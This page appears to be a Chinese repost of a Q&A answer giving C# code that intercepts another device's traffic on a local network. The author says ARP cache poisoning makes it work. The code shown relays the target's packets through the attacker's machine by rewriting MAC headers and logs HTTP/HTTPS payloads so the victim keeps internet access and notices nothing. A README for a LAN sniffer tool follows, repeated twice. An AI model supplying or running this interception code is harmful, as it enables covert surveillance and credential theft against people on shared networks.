android局域网中嗅探,c# - 在本地网络上嗅探Android设备的TCP数据包 - 堆栈内存溢出...

我终于可以通过应用ARP缓存中毒使它正常工作,而下面的代码能够将任何设备的数据包重定向到目的地,这样您就可以捕获网络上任何设备的数据包,而不会丢失该设备的互联网访问权限。

码:

private void StartSniffer()

{

RawCapture rawCapture;

do

{

if ((rawCapture = capturedevice.GetNextPacket()) != null)

{

EthernetPacket Packet = PacketDotNet.Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data) as EthernetPacket;

if (Packet == null) { return; }

AcceptedPacket acPacket = new AcceptedPacket();

acPacket.Packet = Packet;

if (Packet.SourceHwAddress.Equals(TargetMAC))

{

Packet.SourceHwAddress = capturedevice.MacAddress;

Packet.DestinationHwAddress = GatewayMAC;

capturedevice.SendPacket(Packet);

if (acPacket.TCPPacket != null &&

((acPacket.Type.Equals("HTTPS") && acPacket.TCPPacket.PayloadData != null) ||

(acPacket.Type.Equals("HTTP") && acPacket.TCPPacket.PayloadData != null)))

{

materialListView1.BeginInvoke(new Action(() =>

{

materialListView1.AddObject(acPacket);

if (materialListView1.Items.Count > 15 && !ResizeDone)

{

olvColumn8.MaximumWidth = 65;

olvColumn8.MinimumWidth = 65;

olvColumn8.Width = 65;

ResizeDone = true;

}

ListofAcceptedPackets.Add(acPacket);

}));

}

}

else if (Packet.SourceHwAddress.Equals(GatewayMAC))

{

IPv4Packet IPV4 = Packet.Extract(typeof(IPv4Packet)) as IPv4Packet;

if (IPV4.DestinationAddress.Equals(Target))

{

Packet.SourceHwAddress = capturedevice.MacAddress;

Packet.DestinationHwAddress = TargetMAC;

capturedevice.SendPacket(Packet);

}

if (Properties.Settings.Default.PacketDirection == "Inbound")

{

if (acPacket.TCPPacket != null &&

((acPacket.Type.Equals("HTTPS") && acPacket.TCPPacket.PayloadData != null) ||

(acPacket.Type.Equals("HTTP") && acPacket.TCPPacket.PayloadData != null)))

{

materialListView1.BeginInvoke(new Action(() =>

{

materialListView1.AddObject(acPacket);

if (materialListView1.Items.Count > 15 && !ResizeDone)

{

olvColumn8.MaximumWidth = 65;

olvColumn8.MinimumWidth = 65;

olvColumn8.Width = 65;

ResizeDone = true;

}

ListofAcceptedPackets.Add(acPacket);

}));

}

}

}

}

} while (snifferStarted);

这是捕获设备的设置:

try

{

snifferStarted = true;

if (capturedevice != null)

{

capturedevice.Open(DeviceMode.Promiscuous, 1000);

capturedevice.Filter = $"(ip and ether src {targetmac.ToLower()}) or (ip and ether src {gatewayMAC.ToLower()} and dst net {Target})";

new Thread(() => { StartSniffer(); }).Start();

}

else

{

MetroMessageBox.Show(this, "No Capture Device is selected!", "Error", MessageBoxButtons.OK,

MessageBoxIcon.Error);

}

}

catch (Exception exception)

{

MetroMessageBox.Show(this, exception.Message, "Error", MessageBoxButtons.OK,

MessageBoxIcon.Error);

}

注意:这是使用Packet.Net NOT PcapDotNet 。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
—————————————————————— Hearen's SimpleSniffer —————————————————————— 一、功能简介: .针对同一局域网的所有主机进行监听并返回处理优化后的数据供研究使用; .在数据显示了所有当前侦听到的数据包包括源IP、源端口、目的IP、目的端口、数据包协议类型、数据包捕获时间及数据包简略信息(仅应用层数据); .可以针对某一特定IP地址(源或目的),某特定端口(源或目的)以及特定类型数据包进行侦听 -- 捕获前过滤; .当数据过多时可以随时点击‘清理’对当前的数据表进行清空 -- 不过捕获的数据是不会被清除的,仅清除列表显示的数据; .双击‘清理’时清空所有到的数据 -- 不仅仅是列表显示的数据; .选择列表数据时,数据详细信息会显示在下方的面板; 此时可以通过选择特定字符串来查看在其左侧的十六进制表示以供研究之用; .左下角会显示当前在该局域网捕获到的数据包个数及总大小(该大小包含IP协议及其建立在该协议以上协议的头部)-- 数据单位会自动进行切换当数据大小达到2G时将重置清零; .在获取数据包后可以针对某一IP,PORT,IP:PORT或IP/PORT及协议进行筛选,同时可以查阅当前所有捕获的数据包(如果没有设置捕获前过滤,否则只能查阅过滤后的数据)。 二、使用说明:本应用的使用环境为Windows 7、Windows 8及Windows 8.1。 在使用过程需要获得管理员权限 - 捕获数据包需要访问底层数据,需要获得最高权限才可以正常运行该应用; 三、作者留言 该应用的开发环境为VS2013,所用语言为C#,界面设计属于WinForm(比较老式的界面风格,推荐使用WPF)。因本人水平有限,在该应用不免存在很多漏洞和不足;如果你有更多更好的想法或者发现该小应用的bug还望批评指正。
—————————————————————— Hearen's SimpleSniffer —————————————————————— 一、功能简介: 1.针对同一局域网的所有主机进行监听并返回处理优化后的数据供研究使用; 2.在数据显示了所有当前侦听到的数据包包括源IP、源端口、目的IP、目的端口、数据包协议类型、数据包捕获时间及数据包简略信息(仅应用层数据); 3.可以针对某一特定IP地址(源或目的),某特定端口(源或目的)以及特定类型数据包进行侦听 -- 捕获前过滤; 4.当数据过多时可以随时点击‘清理’对当前的数据表进行清空 -- 不过捕获的数据是不会被清除的,仅清除列表显示的数据; 5.双击‘清理’时清空所有到的数据 -- 不仅仅是列表显示的数据; 6.选择列表数据时,数据详细信息会显示在下方的面板; 此时可以通过选择特定字符串来查看在其左侧的十六进制表示以供研究之用; 7.左下角会显示当前在该局域网捕获到的数据包个数及总大小(该大小包含IP协议及其建立在该协议以上协议的头部)-- 数据单位会自动进行切换当数据大小达到2G时将重置清零; 8.在获取数据包后可以针对某一IP,PORT,IP:PORT或IP/PORT及协议进行筛选,同时可以查阅当前所有捕获的数据包(如果没有设置捕获前过滤,否则只能查阅过滤后的数据)。 二、使用说明:本应用的使用环境为Windows 7、Windows 8及Windows 8.1。 在使用过程需要获得管理员权限 - 捕获数据包需要访问底层数据,需要获得最高权限才可以正常运行该应用; 三、作者留言 该应用的开发环境为VS2013,所用语言为C#,界面设计属于WinForm(比较老式的界面风格,推荐使用WPF)。因本人水平有限,在该应用不免存在很多漏洞和不足;如果你有更多更好的想法或者发现该小应用的bug还望批评指正。 ||联系方式:LHearen@126.com|| 四、免责声明 本系统仅用于学习交流之用,本人不承担该应用的技术及版权问题,且不对该应用负法律责任。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值